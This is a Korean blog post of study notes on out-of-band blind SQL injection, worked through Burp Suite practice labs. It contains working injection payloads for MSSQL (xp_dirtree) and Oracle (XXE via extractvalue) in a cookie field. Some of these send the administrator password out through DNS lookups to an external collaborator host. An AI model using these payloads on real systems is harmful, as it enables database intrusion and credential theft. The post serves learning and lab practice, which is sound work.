※ 해킹 관련 게시글은 공부한 내용을 정리를 위한 목적으로 게시하였습니다. 꼭 가상 서버 및 연습 환경이 제공된 일부 사이트를 제외한 일반 사이트에 적용 및 악용 절대 금지합니다. 또한 블로그에서는 절대로 책임지지 않습니다.
1. 대역외(OAST) 기술을 사용하여 블라인드 SQL Injection 확용
: SQL 조회를 수행하지만 비동기적으로 수행, 사용자가 제어하는 시스템에 대한 대역 외 네트워크 상호 작용을 트리거하여 블라인드 SQL 주입 취약점을 악용 할 수 있다. 다양한 네트워크 프로토콜 사용, 그중에서 일반적으로 DNS(Domain Name Service)가 가장 효과적, DNS 쿼리를 트리거하는 기술을 사용중인 데이터베이스 유형에 따라 매우 다름.
1) Microsoft SQL Server 에서 다음과 같은 입력을 사용하여 지정된 도메인에서 DNS 조회를 수행
'; exec master..xp_dirtree '//0efdymgw1o5wqinae8mg4dfrgimqay.burpcollaborator.net/a'--
이로 인해 데이터베이스는 다음 도메인에 대한 조회를 수행
0efdymgw1o5wqinae8mg4dfrgimqay.burpcollaborator.net
Burp Suite의 Collaborator Client를 사용하여 고유한 하위 도메인을 생성하고 Collaborator 서버를 폴링하여 DNS 조회가 언제 발생하는지 확인 할 수 있다.
2) Lab : Blind SQL Injection with out-of-band intera ction
: SQL 인젝션 취약점을 이용하여 퍼블릭 Burp Collaborator 서버에 대한 DNS 조회 유발
(1) Burp Suite 를 사용하여 TrackingId 쿠키가 포함된 요청을 가로챈다.
(2) TrackingId 쿠키 수정
TrackingId=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//x.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--
3) Lab:Blind SQL Injection with out-of-band data exfiltration
: SQL 쿼리는 비동기적으로 실행되며 응용프로그램의 응답에는 영향을 미치지 않습니다. 그러나 외부 도메인과의 대역외 상호 작용을 트리거 할 수 있다.
(1) Burp suite 를 사용하여 TrackingId 쿠키가 포함된 요청을 가로채고 Send to Repeater 클릭 후 수정
(2) Burp - Burp Collaborator Client + 실행
(3) Burp Collaborator 페이로드를 클립보드에 복사하려면 "Copy to Clipboard"를 클릭 후 Burp Collaborator Client 창을 열어둔다.
(4) TrackingId 쿠키를 수정하여 Burp Collaborator 하위 도메인 삽입
Tracking=x'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[}<!ENTITY+%25+remote+SYSTEM+"http%3a//'||(SELECT+password+FROM+users+WHERE+username%3d'administrator')||'.YOUR-SUBDOMAIN-HERE.burpcollaborator.net/">+%25remote%3b]>').'/l')+FROM+dual-- //빨간 부분은 복사한 주소 붙여넣기
(5) 페이로드의 결과로 응용프로그램에서 시작된 일부 DNS 및 HTTP 상호 작용이 표시되어야 한다. 관리자의 비밀번호는 상호작용의 하위 도메인에 나타나야하며 Burp Collaborator Client 내에서 볼 수 있다.
(6) 헤더 부분에 패스워드 확인 (HOST : mxn3.....burpcollaborator.net) //빨간부분이 패스워드
4) 대역외 상호작용을 트리거하는 방법을 확인 후 대역외 채널을 사용하여 취약한 응용프로그램에서 데이터를 유출 할 수 있다.
'; declare @p varchar(1024);set @p=(SELECT password FROM users WHERE username='Administrator');exec('master..xp_dirtree "//'+@p+'.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net/a"')--
이 입력은 Administrator 사용자의 비밀번호를 읽고 고유한 Collaborator 서브 도메인을 추가하며 DNS 조회를 트리거
S3cure.cwcsgt05ikji0n1f2qlzn5118sek29.burpcollaborator.net //빨간부분이 패스워드
'보안 > WEB' 카테고리의 다른 글
[WEB 보안] SQL Injection-UNION Attack_2 (0) | 2020.04.27 |
---|---|
[WEB 보안] SQL Injection-UNION Attack_1 (0) | 2020.04.26 |
[WEB 보안] Blind SQL Injection 취약점_2 (0) | 2020.04.26 |
[WEB 보안] 데이터베이스 버전 확인 (0) | 2020.04.22 |
[WEB 보안] Blind SQL Injection 취약점_1 (0) | 2020.04.22 |